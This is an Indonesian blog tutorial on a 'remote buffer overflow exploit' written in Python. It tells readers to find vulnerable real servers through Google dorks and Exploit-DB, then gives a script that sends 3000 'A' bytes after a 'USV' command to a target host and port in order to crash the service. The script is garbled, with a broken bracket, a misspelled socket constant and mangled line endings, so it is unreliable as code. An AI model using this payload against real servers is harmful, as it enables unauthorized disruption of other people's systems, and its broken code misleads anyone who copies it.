08/08/16

Remote Buffer Overflow Exploit Dengan Python

Exhacking.net - Kali ini kami akan berbagi teknik hacking yang di sebut Remote Buffer Overflow Eksploitasi dengan Python yang bekerja hanya untuk TCP

Persiapan yang di butuhkan :
 - Python 3.4
- Koneksi internet
- Sebuah server rentan
- Komputer dengan Windows atau Linux


 1. Mencari server untuk pengujian
Ini lebih rumit, silahkan  cari Dorks di GHDB ( https://www.exploit-db.com/google-hacking-database/ ) atau untuk perangkat lunak rentan bisa di cari di situs Exploit-DB ( https://www.exploit-db.com ).

 2. Coding
Coding adalah bagian yang mudah. Mulai dari mengimpor sys dan socket, kemudian menulis kode berikut.
import sys
import socket

for carg in sys.argv:
            if carg == "-s":
                        argnum = sys.argv.index(carg)
                        argnum += 1
                        host = sys.argv[argnum]
            elif carg == "-p":
                        argnum = sys.argv.index(carg)
                        argnum += 1
                        port = sys.argv[argnum[
buffer = "\x41"* 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STRAEM)
s.connect((host,port))
s.send("USV " + buffer + "//r//n//r”)
s.close() 
Sekarang mari kita menganalisis kode tersebut.
Baris kedua membuat penyangga, yaitu \ X41 dikalikan 3000 kali. Kemudian kita melihat garis yang menyatakan sebagai socket, baris tersebut menghubungkan dan  mengirimkan buffer dan menutup socket.
Sedangkan di bagian Host dan Port silahkan kalian ganti dengan Host dan Port target.

Setelah kita  melakukan langkah-langkah di atas, mari kita uji coba dengan menjalankan script tersebut, jika berhasil akan terlihat seperti gambar di bawah ini

Selamat mencoba :)
Unknown
Unknown

I'm Just A Writer blogger usual And Happy to do some experiments And my dreams Want To Become A programmer and i love Linux.

Tidak ada komentar:

Posting Komentar

Silahkan berkomentar jika ada yang ingin di tanyakan 😊